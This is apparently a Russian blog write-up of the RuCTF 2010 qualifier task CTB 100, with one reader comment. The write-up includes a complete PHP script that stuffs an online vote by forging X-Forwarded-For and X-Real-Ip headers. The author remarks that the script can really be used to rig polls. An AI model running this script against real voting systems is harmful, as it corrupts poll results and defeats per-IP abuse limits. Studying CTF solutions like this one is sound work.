RuCTF 2010 Quals. Задание CTB 100.

Практически случайным, но попутным ветром меня закинуло в отборочный этап соревнований RuCTF 2010. Это был не традиционный Capture the flag, а специальные задания, успешное выполнение которых отделяло лузеров от вынеров =) А дальше самых вынеров в финал RuCTF. Задания раскиданы по категориям: Admin (задания на администрирование), CTB (хакинг сайтов), Crypto (криптография), Forensics (судебная экспертиза), JoyStory (развлекательная ветка, творческие задания), PPC (программирование), Reverse (дебаг, отладка приложений), Stegano (стеганография). В каждой категории по 5 заданий, расположенных в порядке увеличения числа заработанных очков за его решения. От 100 до пятисот с шагом в 100 соответственно. При этом, глядя на scoreboard (там показывается сколько человек уже решило задание) не могу сказать, что сложность заданий адекватна количеству очков за его выполнения.

В силу специфики моих увлечений решить хотя бы одну задачу было делом чести =) Как-то с ходу налетел на CTB 100. CTB означает Crack the Box. На отдельном домене якобы ведется голосование за твою команду и твоя задача обеспечить ей проходной был выше определенного порога голосов. Естественно голосов нужно не 3 и даже не десять, при этом система запоминает IP адрес проголосовавшего =) Сразу был запущен FireFox с плагином LiveHTTPHeaders и первый голос-пакет был успешно зафиксирован.

Естественно процесс голосования предполагал автоматизацию процесса. Как-нибудь я обязательно покажу свой собственный каркас модуля для автоматических регистраций, но для решения данной задачи оттуда была взята лишь одна функция и та в последствии была обрезанная до уровня базовых операторов. Собственно, вот код:

// set_time_limit(0);
error_reporting(7);

for ($i=1;$i<>250;$i++) {
$socket = fsockopen(“voteme.quals2010.ructf.org”, 80, $errno, $errstr, 30);
if(!$socket)
{
echo $errstr($errno);
//echo ” Mlya, oblom. Gladi fsockopen..”;
}
else
{
//echo “Connect OK!”;

fputs($socket, “POST / HTTP/1.1\r\n”);
fputs($socket, “Host: voteme.quals2010.ructf.org\r\n”);
fputs($socket, “X-Forwarded-For: 172.16.3.”.$i.”\r\n”);
fputs($socket, “X-Real-Ip: 172.16.3.”.$i.”\r\n”);
// fputs($socket, “Connection: close\r\n”); //Connection: keep-alive in original POST detected )) \r\n
fputs($socket, “Referer: http://voteme.quals2010.ructf.org/\r\n”);
fputs($socket, “Content-Type: application/x-www-form-urlencoded\r\n”);
fputs($socket, “User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n”);
fputs($socket, “Content-Length: 7\r\n\r\n”);
fputs($socket, “team=47″);

/* while(!feof($socket))
{
$res .= fgets($socket);
}
fclose($socket);
//sleep(1); */
}
echo $i,”
“;//,$res;
}
?>

Изюминкой безусловно является момент подделывания ip-адресов. Без этого мои голоса не засчитывались и впустую были отправлены десятки тысяч запросов, а может и не впустую. Но как видно по скрипту, никаких проксей он не использует, а лишь имитирует)) Также определенным нюансом является наличие Connection: keep-alive. Сперва я сменил его на Close, а потом вообще закомментировал от греха подальше. Естественно проверка Referer в наличии.

Очень смешно выглядят попытки других команд натурально накрутить голоса, мольбами на весь рунет отдать за них свои голоса. Некоторые фанаты даже писали похожие голосовалки, но игнорировали специфику конкурса и скатывались к обычным проксям. Я бы за такое снимал с конкурса. Совет организаторам – сразу фильтровать ip-адреса членов команды от ip-адресов всяких левых Васей в пижаме. Или проводить голсование так, как оно бы проводилось в реальной жизни, с баном участника голосования за накрутку.

Задача была решена единолично практически с ходу, минут за 30, принеся команде долгожданные первые сто баллов! А вот дальше как-то не сложилось)) То ли хватались, то за это, то за то… В общем, настрой пропал. И даже ветку JoyStory просто слили, не заработав там баллов. Последние сутки уже просто забили на конкурс. Итог конечно печальный, 40 место из 47 комманд, но потенциал есть и его надо развивать. Несколько хороших мыслей по решению заданий пришло в голову, но развивать их было уже не с кем. На самом деле, думаю, реально было замкнуть десятку, просто рано опустили руки.

Скрипт между делом можно реально использовать для накрутки голосований, метода думаю всем понятна, остальное вопрос навыков.

1 Comment

yegorov-pмарта 9, 2010 at 21:44

Да, так явно намного грамотнее и красивее будет, чем тупо гонять посты через прокси =)

Leave a comment

Your comment

Джинсовая одежда настольная игра активити, все настольные игры для детей и взрослых на викимарте по выгодным ценам.